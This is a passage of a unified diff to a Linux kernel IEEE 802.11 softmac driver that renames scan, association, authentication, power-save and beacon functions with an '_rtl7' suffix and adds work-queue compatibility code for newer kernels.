ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1092,17 +1109,15 @@ } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1127,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1135,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1160,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1178,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1216,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1234,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1248,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1300,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1358,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1375,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1401,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1415,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1425,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1444,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1469,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1477,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1512,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1535,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1546,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1574,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1589,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1626,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1659,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1678,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1686,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1706,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1726,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1739,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1754,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1766,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1781,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1794,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1812,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1820,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1830,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1857,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1874,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1924,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1936,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1950,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1960,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2017,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2030,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2049,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2069,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); 